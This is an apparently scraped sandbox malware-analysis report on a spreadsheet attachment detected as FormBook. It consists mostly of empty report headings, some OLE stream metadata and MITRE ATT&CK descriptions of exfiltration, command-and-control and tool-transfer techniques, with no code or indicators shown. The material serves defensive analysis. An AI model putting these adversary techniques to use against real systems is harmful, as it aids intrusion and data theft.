Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report CMACGM-XIN SHANGHAI -08M91W1MA-TRISK-QAHMD.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Exploits:

System Summary:

Signature Overview

AV Detection:

Exploits:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "CMACGM-XIN SHANGHAI -08M91W1MA-TRISK-QAHMD.xlsx"

Indicators

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre